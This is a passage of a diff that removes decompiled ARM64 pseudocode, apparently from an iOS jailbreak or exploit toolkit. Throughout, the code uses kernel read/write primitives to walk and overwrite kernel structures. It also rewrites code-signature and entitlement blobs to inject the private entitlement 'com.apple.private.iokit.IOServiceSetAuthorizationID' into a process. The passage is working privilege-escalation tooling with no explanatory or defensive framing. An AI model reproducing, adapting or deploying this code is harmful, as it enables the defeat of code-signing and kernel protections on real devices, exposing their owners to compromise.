[xsp+4h] [xbp-14Ch] BYREF - unsigned __int64 v27; // [xsp+8h] [xbp-148h] BYREF - __int64 v28; // [xsp+10h] [xbp-140h] BYREF - __int64 v29; // [xsp+18h] [xbp-138h] BYREF - __int64 v30; // [xsp+20h] [xbp-130h] BYREF - __int64 v31; // [xsp+28h] [xbp-128h] BYREF - __int128 v32; // [xsp+30h] [xbp-120h] BYREF - __int128 v33; // [xsp+40h] [xbp-110h] - __int128 v34; // [xsp+50h] [xbp-100h] BYREF - _OWORD v35[9]; // [xsp+60h] [xbp-F0h] BYREF - __int64 v36; // [xsp+F0h] [xbp-60h] - - v30 = 0LL; - v31 = 0LL; - v28 = 0LL; - v29 = 0LL; - v27 = 0LL; - result = sub_33E8C(a1, a2); - if ( !result ) - return result; - v10 = result; - if ( !(unsigned int)sub_2BBA4(a1, (int *)&v31 + 1, (int *)&v31) ) - return 0LL; - if ( !kread64((_DWORD *)a1, v10 + HIDWORD(v31), &v30) || v30 == 0 ) - return 0LL; - if ( !a3 ) - { - if ( (unsigned int)kreadbuf_last_1(a1, v10 + (unsigned int)v31, 8LL, (__int64)&v29) ) - goto LABEL_10; - return 0LL; - } - v29 = *a3; -LABEL_10: - if ( !(unsigned int)sub_2BC80(a1, &v26, &v25) || !kread64((_DWORD *)a1, v30 + v26, &v28) || !v28 ) - return 0LL; - v12 = v28 + v25; - if ( a5 ) - *a5 = v12; - v13 = kread64((_DWORD *)a1, v12, (__int64 *)&v27); - result = 0LL; - if ( v13 ) - { - v14 = v27; - if ( v27 ) - { - v15 = a4 & (a3 == 0LL); - while ( 1 ) - { - v36 = 0LL; - v34 = 0u; - memset(v35, 0, sizeof(v35)); - v16 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; - v32 = 0uLL; - v33 = 0uLL; - if ( !(unsigned int)kreadbuf_last_1(a1, v14, v16, (__int64)&v32) ) - break; - v17 = *(_QWORD *)(a1 + 0x158); - v18 = *((_QWORD *)&v33 + 1); - if ( v17 > 0x1F530F027FFFFFLL ) - v18 = *((_QWORD *)&v34 + 1); - if ( v15 ) - { - if ( (unsigned __int64)(v18 - 0x20000000) <= 0x7FE0000000LL ) - return v27; - } - else - { - v19 = v17 > 0x1F530F027FFFFFLL; - if ( v17 <= 0x1F530F027FFFFFLL ) - v20 = *((_QWORD *)&v34 + 1); - else - v20 = *((_QWORD *)&v35[0] + 1); - v21 = v35; - if ( !v19 ) - v21 = &v34; - v22 = v29 - v18; - if ( v22 >= *(_QWORD *)v21 && v22 < v20 ) - return v27; - } - v24 = kread64((_DWORD *)a1, v27, (__int64 *)&v27); - result = 0LL; - if ( v24 ) - { - v14 = v27; - if ( v27 ) - continue; - } - return result; - } - return 0LL; - } - } - return result; -} - -//----- (000000000002BBA4) ---------------------------------------------------- -__int64 __fastcall sub_2BBA4(__int64 a1, int *a2, int *a3) -{ - __int64 result; // x0 - int v5; // w9 - int v7; // w8 - int v8; // w9 - unsigned __int64 v9; // x8 - - result = 0LL; - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 <= 0x1F53 ) - { - switch ( v5 ) - { - case 0x1809: - v7 = 0x240; - v8 = 0x238; - break; - case 0x1C1B: - v7 = 0x228; - v8 = 0x220; - break; - case 0x1F53: - v9 = *(_QWORD *)(a1 + 0x158); - if ( v9 <= 0x1F530F027FFFFFLL ) - v8 = 0x2A8; - else - v8 = 0x358; - if ( v9 <= 0x1F530F027FFFFFLL ) - v7 = 0x2B0; - else - v7 = 0x360; - break; - default: - return result; - } - goto LABEL_26; - } - if ( v5 <= 0x225B ) - { - if ( v5 != 0x1F54 && v5 != 0x2258 ) - return result; - v7 = 0x358; - v8 = 0x350; -LABEL_26: - *a2 = v8; - *a3 = v7; - return 1LL; - } - if ( v5 == 0x225C || v5 == 0x2712 ) - { - v7 = 0x550; - v8 = 0x548; - goto LABEL_26; - } - return result; -} - -//----- (000000000002BC80) ---------------------------------------------------- -__int64 __fastcall sub_2BC80(__int64 a1, _DWORD *a2, _DWORD *a3) -{ - __int64 result; // x0 - int v5; // w8 - bool v6; // zf - int v7; // w9 - - result = 0LL; - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 > 0x2257 ) - { - v6 = v5 == 0x2258 || v5 == 0x2712; - v7 = 0x225C; - } - else - { - v6 = (unsigned int)(v5 - 0x1F53) < 2 || v5 == 0x1809; - v7 = 0x1C1B; - } - if ( v6 || v5 == v7 ) - { - if ( a2 ) - *a2 = 0x78; - if ( a3 ) - *a3 = 0x50; - return 1LL; - } - return result; -} - -//----- (000000000002BCF0) ---------------------------------------------------- -__int64 __fastcall sub_2BCF0(int a1, const void *a2, CC_LONG a3, void *a4, _DWORD *a5) -{ - size_t v6; // x21 - CC_SHA512_CTX c; // [xsp+8h] [xbp-138h] BYREF - unsigned __int8 md[48]; // [xsp+D8h] [xbp-68h] BYREF - - if ( (unsigned int)(a1 - 1) > 3 ) - return 0LL; - v6 = dword_436F0[a1 - 1]; - if ( *a5 < (unsigned int)v6 ) - return 0LL; - if ( (unsigned int)(a1 - 2) < 2 ) - { - CC_SHA256_Init((CC_SHA256_CTX *)&c); - CC_SHA256_Update((CC_SHA256_CTX *)&c, a2, a3); - CC_SHA256_Final(md, (CC_SHA256_CTX *)&c); - goto LABEL_11; - } - if ( a1 == 4 ) - { - CC_SHA384_Init(&c); - CC_SHA384_Update(&c, a2, a3); - CC_SHA384_Final(md, &c); - goto LABEL_11; - } - if ( a1 == 1 ) - { - CC_SHA1_Init((CC_SHA1_CTX *)&c); - CC_SHA1_Update((CC_SHA1_CTX *)&c, a2, a3); - CC_SHA1_Final(md, (CC_SHA1_CTX *)&c); -LABEL_11: - memcpy(a4, md, v6); - *a5 = v6; - return 1LL; - } - return 0LL; -} -// 436F0: using guessed type unsigned int dword_436F0[4]; - -//----- (000000000002BE34) ---------------------------------------------------- -__int64 __fastcall sub_2BE34(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, _QWORD *a5, _QWORD *a6, _BYTE *a7) -{ - CFErrorRef v12; // x0 - CFErrorRef v13; // x19 - CFErrorRef v14; // x0 - CFErrorRef v15; // x20 - void *v16; // x0 - __int64 v17; // x21 - size_t v19; // [xsp+8h] [xbp-38h] BYREF - - v12 = sub_2BF00(a1, a2); - if ( !v12 ) - return 0LL; - v13 = v12; - v14 = sub_2BF00(a3, a4); - if ( v14 ) - { - v15 = v14; - if ( (unsigned int)sub_2BFDC(v13, v14, a7) && (v16 = sub_2C044(v13, &v19)) != 0LL ) - { - *a6 = v19; - *a5 = v16; - v17 = 1LL; - } - else - { - v17 = 0LL; - } - CFRelease(v13); - } - else - { - v17 = 0LL; - v15 = v13; - } - CFRelease(v15); - return v17; -} - -//----- (000000000002BF00) ---------------------------------------------------- -CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length) -{ - __CFReadStream *v2; // x0 - __CFReadStream *v3; // x19 - __CFError *v4; // x0 - CFErrorRef v5; // x20 - CFTypeID v6; // x21 - CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF - - error = 0LL; - v2 = CFReadStreamCreateWithBytesNoCopy(kCFAllocatorDefault, bytes, length, kCFAllocatorNull); - if ( v2 ) - { - v3 = v2; - if ( !CFReadStreamOpen(v2) ) - { - v5 = 0LL; - goto LABEL_9; - } - v4 = (__CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0LL, 2uLL, 0LL, &error); - if ( v4 ) - { - v5 = v4; - v6 = CFGetTypeID(v4); - if ( v6 == CFDictionaryGetTypeID() ) - { -LABEL_6: - CFReadStreamClose(v3); -LABEL_9: - CFRelease(v3); - return v5; - } - } - else - { - v5 = error; - if ( !error ) - goto LABEL_6; - } - CFRelease(v5); - v5 = 0LL; - goto LABEL_6; - } - return 0LL; -} - -//----- (000000000002BFDC) ---------------------------------------------------- -__int64 __fastcall sub_2BFDC(const void *a1, const void *a2, _BYTE *a3) -{ - __int64 result; // x0 - - if ( !a3 ) - return (unsigned int)sub_12954(a1, a2) == 0; - if ( (unsigned int)sub_12BF4(a1, a2) ) - { - *a3 = 0; - return (unsigned int)sub_12954(a1, a2) == 0; - } - result = 1LL; - *a3 = 1; - return result; -} - -//----- (000000000002C044) ---------------------------------------------------- -void *__fastcall sub_2C044(CFPropertyListRef propertyList, size_t *a2) -{ - const __CFData *v3; // x0 - const __CFData *v4; // x19 - size_t Length; // x0 - size_t v6; // x22 - void *v7; // x21 - const UInt8 *BytePtr; // x0 - CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF - - error = 0LL; - v3 = CFPropertyListCreateData(kCFAllocatorDefault, propertyList, kCFPropertyListXMLFormat_v1_0, 0LL, &error); - if ( v3 ) - { - v4 = v3; - Length = CFDataGetLength(v3); - if ( Length ) - { - v6 = Length; - v7 = malloc(Length); - if ( v7 ) - { - BytePtr = CFDataGetBytePtr(v4); - memcpy(v7, BytePtr, v6); - *a2 = v6; - } - goto LABEL_7; - } - } - else - { - v4 = error; - if ( !error ) - return 0LL; - } - v7 = 0LL; -LABEL_7: - CFRelease(v4); - return v7; -} - -//----- (000000000002C0F8) ---------------------------------------------------- -bool __fastcall sub_2C0F8(__int64 a1, unsigned int a2, const char *a3) -{ - _BOOL4 v5; // w26 - _BOOL8 v6; // x19 - unsigned int *v7; // x0 - unsigned int *v8; // x20 - unsigned int v9; // w28 - unsigned int v10; // w27 - unsigned int v11; // w25 - size_t v12; // x24 - size_t v13; // x23 - __int64 v14; // x8 - _OWORD *v15; // x0 - _DWORD *v16; // x22 - _DWORD *v17; // x0 - size_t v18; // x0 - _BYTE v20[104]; // [xsp+8h] [xbp-B8h] BYREF - - if ( (unsigned int)sub_2C2F8(a1, a2, (__int64)v20) ) - { - v5 = (*(_DWORD *)a1 & 0x5584001) != 0 || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL; - v7 = sub_2C9B0((__int64)v20, 0, 0xFADE0C02); - if ( !v7 ) - goto LABEL_23; - v8 = v7; - v9 = v7[5]; - v10 = bswap32(v9); - if ( a3 ) - { - v11 = v7[1]; - if ( !v9 || strcmp((const char *)v7 + v10, a3) ) - { - v12 = bswap32(v11); - v13 = (unsigned int)strlen(a3) + 1; - if ( v5 ) - { - if ( (unsigned int)v13 <= 0x80 ) - { - v14 = (unsigned int)(v12 - 0x80); - v8[5] = bswap32(v14); - v15 = (_OWORD *)((char *)v8 + v14); - v15[6] = 0u; - v15[7] = 0u; - v15[4] = 0u; - v15[5] = 0u; - v15[2] = 0u; - v15[3] = 0u; - *v15 = 0u; - v15[1] = 0u; - strlcpy((char *)v8 + v14, a3, v13); - v16 = 0LL; -LABEL_20: - if ( (unsigned int)sub_2CA2C((__int64)v20, 0, v8) ) - { - v6 = (unsigned int)sub_2CA80(a1, (__int64)v20) != 0; - if ( !v16 ) - goto LABEL_26; - goto LABEL_25; - } - v6 = 0LL; - if ( v16 ) -LABEL_25: - free(v16); -LABEL_26: - sub_2CB54((__int64)v20); - return v6; - } -LABEL_23: - v6 = 0LL; - goto LABEL_26; - } - v17 = calloc((unsigned int)(v13 + v12), 1uLL); - if ( !v17 ) - goto LABEL_23; - v16 = v17; - memcpy(v17, v8, v12); - v16[5] = v11; - strlcpy((char *)v16 + (unsigned int)v12, a3, v13); - v16[1] = bswap32(v13 + v12); - v8 = v16; -LABEL_18: - if ( v9 != 0 && !v5 ) - { - v18 = strlen((const char *)v8 + v10); - bzero((char *)v8 + v10, v18); - } - goto LABEL_20; - } - } - else if ( v9 ) - { - v16 = 0LL; - v7[5] = 0; - goto LABEL_18; - } - v6 = 1LL; - goto LABEL_26; - } - return 0LL; -} - -//----- (000000000002C2F8) ---------------------------------------------------- -__int64 __fastcall sub_2C2F8(__int64 a1, unsigned int a2, __int64 a3) -{ - __int64 result; // x0 - unsigned __int64 v7; // x22 - unsigned int *v9; // x0 - unsigned int *v10; // x23 - int v11; // w22 - unsigned __int64 v12; // x0 - unsigned __int64 v13; // x21 - __int64 v14; // x21 - __int128 v15; // q1 - __int128 v16; // q1 - __int128 v17; // q0 - int v18; // w27 - unsigned int *v19; // x0 - char *v20; // x23 - char *v21; // x22 - unsigned int *v22; // x0 - char *v23; // x0 - unsigned int v24; // w4 - size_t v25; // x24 - size_t v26; // x26 - char *v27; // x0 - int v28; // w24 - char *v29; // x0 - unsigned int v30; // w1 - int v31; // w2 - CFIndex Length; // x23 - const UInt8 *BytePtr; // x0 - unsigned int *v34; // x0 - unsigned int *v35; // x26 - unsigned int v36; // w28 - size_t v37; // x24 - unsigned int v38; // w27 - char *v39; // x8 - const char *v40; // x25 - _DWORD *v41; // x0 - _DWORD *v42; // x22 - int v43; // w23 - unsigned int *v44; // x0 - int v45; // [xsp+Ch] [xbp-D4h] - __int128 v46; // [xsp+10h] [xbp-D0h] BYREF - __int128 v47; // [xsp+20h] [xbp-C0h] - __int128 v48; // [xsp+30h] [xbp-B0h] - __int128 v49; // [xsp+40h] [xbp-A0h] - __int128 v50; // [xsp+50h] [xbp-90h] - __int128 v51; // [xsp+60h] [xbp-80h] - __int64 v52; // [xsp+70h] [xbp-70h] - CFDataRef v53; // [xsp+78h] [xbp-68h] BYREF - size_t v54; // [xsp+80h] [xbp-60h] BYREF - char *v55; // [xsp+88h] [xbp-58h] BYREF - - if ( (unsigned int)sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46) - || (result = sub_2E5C0(a1, a2, 0LL, 0, (__int64)&v46), (_DWORD)result) ) - { - v7 = *(_QWORD *)(a1 + 0x158); - if ( v7 >= 0x1C1B1914600000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v7 > 0x1F52FFFFFFFFFFLL) ) - LOBYTE(v52) = 1; - if ( *((_QWORD *)&v48 + 1) >> 0x1D ) - { - v12 = sub_33E8C(a1, DWORD1(v50)); - if ( v12 ) - { - v13 = v12; - if ( (unsigned int)sub_2BBA4(a1, (int *)&v54, (int *)&v53) ) - { - v14 = v13 + (unsigned int)v53; - if ( (unsigned int)kreadbuf_last_1(a1, v14, 8LL, (__int64)&v55) ) - { - if ( *((char **)&v48 + 1) == v55 ) - goto LABEL_24; - if ( (unsigned int)sub_2F898((_DWORD *)a1, DWORD1(v50), (__int64)v55) ) - { - v55 = (char *)*((_QWORD *)&v48 + 1); - if ( (unsigned int)kwritebuf_last_1(a1, v14, (__int64)&v55, 8LL) ) - goto LABEL_24; - } - } - } - } - goto LABEL_82; - } - v9 = sub_2C9B0((__int64)&v46, v50, 0xFADE0C02); - if ( !v9 ) - goto LABEL_82; - v10 = v9; - if ( v9[0xA] ) - goto LABEL_82; - v9[0xA] = 0x80; - if ( (*(_DWORD *)a1 & 0x5584001) == 0 && v7 <= 0x1F52FFFFFFFFFFLL ) - { -LABEL_15: - v11 = sub_2CA80(a1, (__int64)&v46); - sub_2CB54((__int64)&v46); - v52 = 0LL; - v50 = 0u; - v51 = 0u; - v48 = 0u; - v49 = 0u; - v46 = 0u; - v47 = 0u; - if ( v11 ) - { - result = sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46); - if ( !(_DWORD)result ) - return result; -LABEL_24: - v15 = v51; - *(_OWORD *)(a3 + 0x40) = v50; - *(_OWORD *)(a3 + 0x50) = v15; - *(_QWORD *)(a3 + 0x60) = v52; - v16 = v47; - *(_OWORD *)a3 = v46; - *(_OWORD *)(a3 + 0x10) = v16; - v17 = v49; - result = 1LL; - *(_OWORD *)(a3 + 0x20) = v48; - *(_OWORD *)(a3 + 0x30) = v17; - return result; - } - return 0LL; - } - v18 = (unsigned __int8)v52; - v54 = 0LL; - v55 = 0LL; - v53 = 0LL; - if ( v7 > 0x1F52FFFFFFFFFFLL && !(_BYTE)v52 ) - goto LABEL_82; - if ( v7 <= 0x1F52FFFFFFFFFFLL ) - { - v22 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); - if ( !v22 ) - { - if ( v18 ) - { - v23 = (char *)malloc(0x52uLL); - v21 = v23; - if ( !v23 ) - goto LABEL_59; - qmemcpy(v23, "com.apple.private.iokit.IOServiceSetAuthorizationID", 0x52); - v24 = 0x52; - } - else - { - v29 = (char *)malloc(0x7FF8uLL); - v21 = v29; - if ( !v29 ) - goto LABEL_59; - qmemcpy(v29, "com.apple.private.iokit.IOServiceSetAuthorizationID", 0x52); - bzero(v29 + 0x52, 0x7FA6uLL); - v10[0xA] = 0x8000; - v24 = 0x7FF8; - } - if ( !(unsigned int)sub_2D64C((__int64)&v46, 5, 0xFADE7171, v21, v24) - || !(unsigned int)sub_2D700((__int64)&v46, 5u) ) - { - goto LABEL_59; - } - goto LABEL_50; - } - } - else - { - v19 = sub_2C9B0((__int64)&v46, 7, 0xFADE7172); - if ( v19 ) - { - if ( (unsigned int)sub_2D008( - (const UInt8 *)v19 + 8, - bswap32(v19[1]) - 8LL, - "com.apple.private.iokit.IOServiceSetAuthorizationID", - &v55, - &v54, - 0LL) ) - { - v20 = v55; - if ( !(unsigned int)sub_2D374((__int64)&v46, 7, 0xFADE7172, v55, v54) ) - { - v21 = 0LL; - v28 = 0; -LABEL_61: - v45 = v18; - if ( v20 ) - free(v20); - if ( v21 ) - free(v21); - if ( !v28 ) - goto LABEL_82; - v34 = sub_2C9B0((__int64)&v46, 0, 0xFADE0C02); - if ( !v34 ) - goto LABEL_82; - v35 = v34; - v36 = v34[1]; - v37 = bswap32(v36); - v38 = v34[5]; - v39 = (char *)v34 + bswap32(v38); - v40 = v38 ? v39 : 0LL; - v41 = calloc((unsigned int)(v37 + 0x80), 1uLL); - if ( !v41 ) - goto LABEL_82; - v42 = v41; - memcpy(v41, v35, v37); - if ( v38 ) - { - v42[5] = v36; - if ( strlcpy((char *)v42 + v37, v40, 0x80uLL) >= 0x80 ) - { - free(v42); - goto LABEL_82; - } - } - else - { - v42[5] = 0; - } - v42[1] = bswap32(v37 + 0x80); - v43 = sub_2CA2C((__int64)&v46, 0, v42); - free(v42); - if ( v43 ) - { - if ( v45 ) - goto LABEL_15; - if ( (unsigned int)sub_2CA80(a1, (__int64)&v46) ) - { - sub_2CB54((__int64)&v46); - v52 = 0LL; - v50 = 0u; - v51 = 0u; - v48 = 0u; - v49 = 0u; - v46 = 0u; - v47 = 0u; - if ( (unsigned int)sub_2E5C0(a1, a2, 0LL, 1u, (__int64)&v46) ) - { - v44 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); - if ( v44 ) - { - v44[1] = bswap32(strlen((const char *)v44 + 8) + 8); - if ( (unsigned int)sub_2D3F8((__int64)&v46, 5u, 0xFADE7171) ) - { - if ( sub_2C9B0((__int64)&v46, v50, 0xFADE0C02) ) - goto LABEL_15; - } - } - } - } - } -LABEL_82: - sub_2CB54((__int64)&v46); - return 0LL; - } - v21 = 0LL; - if ( !(unsigned int)sub_2D3F8((__int64)&v46, 7u, 0xFADE7172) ) - goto LABEL_59; -LABEL_52: - v28 = 1; -LABEL_60: - v20 = v55; - goto LABEL_61; - } - goto LABEL_58; - } - v22 = sub_2C9B0((__int64)&v46, 5, 0xFADE7171); - if ( !v22 ) - { - if ( sub_2D500( - (const UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", - 0x52LL, - (__int64)&v53) ) - { - Length = CFDataGetLength(v53); - v21 = (char *)malloc(Length); - if ( !v21 ) - goto LABEL_59; - BytePtr = CFDataGetBytePtr(v53); - memcpy(v21, BytePtr, Length); - if ( !(unsigned int)sub_2D64C((__int64)&v46, 7, 0xFADE7172, v21, Length) - || !(unsigned int)sub_2D700((__int64)&v46, 7u) ) - { - goto LABEL_59; - } - v31 = 0xFADE7172; - v30 = 7; - goto LABEL_51; - } - goto LABEL_58; - } - } - if ( (unsigned int)sub_2BE34( - (UInt8 *)v22 + 8, - bswap32(v22[1]) - 8LL, - (UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", - 0x52LL, - &v55, - &v54, - 0LL) ) - { - v25 = v54; - if ( v18 ) - { - v21 = v55; - v55 = 0LL; - } - else - { - v26 = (v54 + 0x8007) & 0xFFFFFFFFFFFFC000LL; - v27 = (char *)malloc(v26 - 8); - v21 = v27; - if ( !v27 ) - goto LABEL_59; - memcpy(v27, v55, v25); - bzero(&v21[v25], v26 - 8 - v25); - v10[0xA] = v26; - LODWORD(v25) = v26 - 8; - } - if ( !(unsigned int)sub_2D374((__int64)&v46, 5, 0xFADE7171, v21, v25) ) - goto LABEL_59; -LABEL_50: - v30 = 5; - v31 = 0xFADE7171; -LABEL_51: - if ( (unsigned int)sub_2D3F8((__int64)&v46, v30, v31) ) - goto LABEL_52; -LABEL_59: - v28 = 0; - goto LABEL_60; - } -LABEL_58: - v21 = 0LL; - goto LABEL_59; - } - return result; -} - -//----- (000000000002C9B0) ---------------------------------------------------- -unsigned int *__fastcall sub_2C9B0(__int64 a1, int a2, int a3) -{ - int v3; // w8 - unsigned int *v4; // x9 - __int64 v5; // x8 - unsigned int **i; // x9 - unsigned int *result; // x0 - - if ( !a1 ) - return 0LL; - v3 = *(_DWORD *)(a1 + 0x30); - if ( !v3 ) - { - if ( !a2 ) - { - result = *(unsigned int **)(a1 + 0x38); - if ( *result == 0x20CDEFA ) - return result; - } - return 0LL; - } - if ( v3 != 1 ) - return 0LL; - v4 = *(unsigned int **)(a1 + 0x38); - v5 = *v4; - if ( !(_DWORD)v5 ) - return 0LL; - for ( i = (unsigned int **)(*((_QWORD *)v4 + 1) + 8LL); ; i += 2 ) - { - if ( *((_DWORD *)i + 0xFFFFFFFE) == a2 ) - { - result = *i; - if ( bswap32(**i) == a3 ) - break; - } - if ( !--v5 ) - return 0LL; - } - return result; -} - -//----- (000000000002CA2C) ---------------------------------------------------- -__int64 __fastcall sub_2CA2C(__int64 a1, int a2, unsigned int *a3) -{ - __int64 result; // x0 - __int64 v5; // x20 - _DWORD *v6; // x8 - - result = sub_2F92C(a1, a2, 0xFADE0C02); - if ( result ) - { - v5 = result; - result = (__int64)sub_2F980(a3); - if ( result ) - { - v6 = *(_DWORD **)(v5 + 8); - *(_QWORD *)(v5 + 8) = result; - sub_2F9D4(v6); - return 1LL; - } - } - return result; -} - -//----- (000000000002CA80) ---------------------------------------------------- -__int64 __fastcall sub_2CA80(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - _QWORD v4[2]; // [xsp+8h] [xbp-28h] BYREF - unsigned int v5; // [xsp+18h] [xbp-18h] - - v4[0] = a1; - v4[1] = a2; - v5 = 0; - if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL || krw_ctx_has_flag((_DWORD *)a1, 4) ) - { - sub_2FA24((__int64)v4); - return v5; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) && *(_QWORD *)(a1 + 0x158) <= 0x1C1B1E025FFFFFuLL ) - { - result = sub_23F78(a1, sub_2FA24, (__int64)v4); - if ( (_DWORD)result ) - return v5; - } - else - { - result = pthread_create_and_join(a1, (__int64)sub_2FA24, v4); - if ( (_DWORD)result ) - return v5; - } - return result; -} - -//----- (000000000002CB54) ---------------------------------------------------- -void __fastcall sub_2CB54(__int64 a1) -{ - int v2; // w8 - - v2 = *(_DWORD *)(a1 + 0x30); - if ( v2 ) - { - if ( v2 == 1 ) - sub_325DC(*(unsigned int **)(a1 + 0x38)); - } - else - { - sub_2F9D4(*(_DWORD **)(a1 + 0x38)); - } - *(_QWORD *)(a1 + 0x38) = 0LL; - *(_DWORD *)(a1 + 0x30) = 0xFFFFFFFF; -} - -//----- (000000000002CBA4) ---------------------------------------------------- -__int64 __fastcall krw_inject_entitlements2_maybe(__int64 a1, __int64 a2, char *a3, char a4) -{ - __int64 result; // x0 - unsigned __int64 v9; // x8 - bool v10; // cc - bool v11; // w27 - int v12; // w24 - unsigned int *v13; // x0 - unsigned int *v14; // x22 - UInt8 *v15; // x23 - unsigned __int64 v16; // x24 - size_t v17; // x0 - bool v18; // w24 - size_t v19; // x4 - const UInt8 *BytePtr; // x22 - unsigned int Length; // w0 - int v22; // w2 - unsigned int v23; // w1 - void *v24; // x22 - unsigned int *v25; // x0 - unsigned int *v26; // x0 - __int64 v27; // x8 - unsigned __int64 v28; // x9 - unsigned __int64 v29; // x8 - size_t v30; // x24 - size_t v31; // x25 - CFDataRef theData; // [xsp+8h] [xbp-D8h] BYREF - bool v33; // [xsp+17h] [xbp-C9h] BYREF - size_t __n; // [xsp+18h] [xbp-C8h] BYREF - void *__src; // [xsp+20h] [xbp-C0h] BYREF - _BYTE v36[64]; // [xsp+28h] [xbp-B8h] BYREF - int v37; // [xsp+68h] [xbp-78h] - char v38; // [xsp+88h] [xbp-58h] - char v39; // [xsp+89h] [xbp-57h] - - __src = 0LL; - v33 = 0; - theData = 0LL; - result = sub_2C2F8(a1, a2, (__int64)v36); - if ( !(_DWORD)result ) - return result; - v9 = *(_QWORD *)(a1 + 0x158); - if ( v9 < 0x1C1B1914600000LL || ((*(_DWORD *)a1 & 0x5584001) == 0 ? (v10 = v9 > 0x1F52FFFFFFFFFFLL) : (v10 = 1), !v10) ) - { - v12 = 0; - v11 = (a4 & 1) == 0; -LABEL_12: - v13 = sub_2C9B0((__int64)v36, 5, 0xFADE7171); - if ( !v13 ) - { - if ( (*(_DWORD *)a1 & 0x5584001) == 0 ) - { - v19 = strlen(a3); - if ( v12 ) - { - if ( sub_2D500((const UInt8 *)a3, v19, (__int64)&theData) ) - { - BytePtr = CFDataGetBytePtr(theData); - Length = CFDataGetLength(theData); - if ( (unsigned int)sub_2D64C((__int64)v36, 7, 0xFADE7172, BytePtr, Length) ) - { - if ( (unsigned int)sub_2D700((__int64)v36, 7u) ) - { - v22 = 0xFADE7172; - v23 = 7; - goto LABEL_53; - } - } - } - } - else if ( (unsigned int)sub_2D64C((__int64)v36, 5, 0xFADE7171, a3, v19) - && (unsigned int)sub_2D700((__int64)v36, 5u) ) - { - goto LABEL_52; - } - } - goto LABEL_56; - } - v14 = v13; - v15 = (UInt8 *)(v13 + 2); - v16 = bswap32(v13[1]) - 8LL; - v17 = strlen(a3); - if ( !(unsigned int)sub_2BE34(v15, v16, (UInt8 *)a3, v17, &__src, &__n, &v33) ) - goto LABEL_56; - if ( !v33 ) - goto LABEL_25; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL || v11 ) - { -LABEL_18: - v18 = 0; - goto LABEL_57; - } - if ( (unsigned int)sub_2D2B4(a1, (__int64)v36, a2, &v33) ) - { - if ( v33 ) - goto LABEL_18; -LABEL_25: - if ( !v38 && (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - v26 = sub_2C9B0((__int64)v36, v37, 0xFADE0C02); - if ( v26 ) - { - v27 = v26[0xA]; - if ( (_DWORD)v27 ) - { - v28 = v27 - 8; - if ( v27 - 8 < v16 ) - v28 = v16; - v29 = (v27 & 0x3FFF) != 0 ? v16 : v28; - v30 = __n; - v31 = v29 - __n; - if ( v29 >= __n ) - { - memcpy(v15, __src, __n); - bzero((char *)v14 + v30 + 8, v31); - v14[1] = bswap32(v30 + 8); - goto LABEL_52; - } - } - } -LABEL_56: - v18 = 1; - goto LABEL_57; - } - v24 = __src; - if ( (unsigned int)sub_2D374((__int64)v36, 5, 0xFADE7171, __src, __n) ) - { -LABEL_52: - v23 = 5; - v22 = 0xFADE7171; - goto LABEL_53; - } -LABEL_69: - v18 = 1; - if ( !v24 ) - goto LABEL_59; - goto LABEL_58; - } -LABEL_55: - v11 = 0; - goto LABEL_56; - } - v38 = 1; - v11 = (a4 & 1) == 0; - if ( v9 >= 0x1F530000000000LL && (a4 & 1) != 0 ) - { - v39 = 1; - } - else if ( v9 <= 0x1F52FFFFFFFFFFLL ) - { - v12 = 0; - goto LABEL_12; - } - v25 = sub_2C9B0((__int64)v36, 7, 0xFADE7172); - if ( !v25 ) - { - v12 = 1; - goto LABEL_12; - } - if ( !(unsigned int)sub_2D008((const UInt8 *)v25 + 8, bswap32(v25[1]) - 8LL, a3, &__src, &__n, &v33) ) - goto LABEL_56; - if ( !v33 ) - { -LABEL_67: - v24 = __src; - if ( (unsigned int)sub_2D374((__int64)v36, 7, 0xFADE7172, __src, __n) ) - { - v23 = 7; - v22 = 0xFADE7172; -LABEL_53: - if ( (unsigned int)sub_2D3F8((__int64)v36, v23, v22) ) - { - v18 = (unsigned int)sub_2CA80(a1, (__int64)v36) == 0; - goto LABEL_57; - } - goto LABEL_56; - } - goto LABEL_69; - } - v18 = 0; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530000000000uLL && (a4 & 1) != 0 ) - { - if ( !(unsigned int)sub_2D2B4(a1, (__int64)v36, a2, &v33) ) - goto LABEL_55; - if ( v33 ) - { - v11 = 0; - goto LABEL_18; - } - goto LABEL_67; - } -LABEL_57: - v24 = __src; - if ( __src ) -LABEL_58: - free(v24); -LABEL_59: - if ( theData ) - CFRelease(theData); - sub_2CB54((__int64)v36); - if ( v18 ) - return 0LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL || v11 ) - return 1LL; - return krw_inject_entitlements_maybe(a1, a2, a3, 0LL); -} -// 1503C: using guessed type __int64 __fastcall krw_inject_entitlements_maybe(_QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002D008) ---------------------------------------------------- -__int64 __fastcall sub_2D008(const UInt8 *a1, CFIndex a2, char *a3, _QWORD *a4, size_t *a5, _BYTE *a6) -{ - void *v12; // x0 - void *v13; // x19 - __int64 *v14; // x0 - __int64 v15; // x20 - __int64 *v16; // x0 - __int64 v17; // x28 - __int64 (__fastcall *v18)(__int64, CFDataRef, __int64 *); // x0 - __int64 (__fastcall *v19)(__int64, CFDataRef, __int64 *); // x27 - __int64 (__fastcall *v20)(__int64, CFDictionaryRef *); // x0 - __int64 (__fastcall 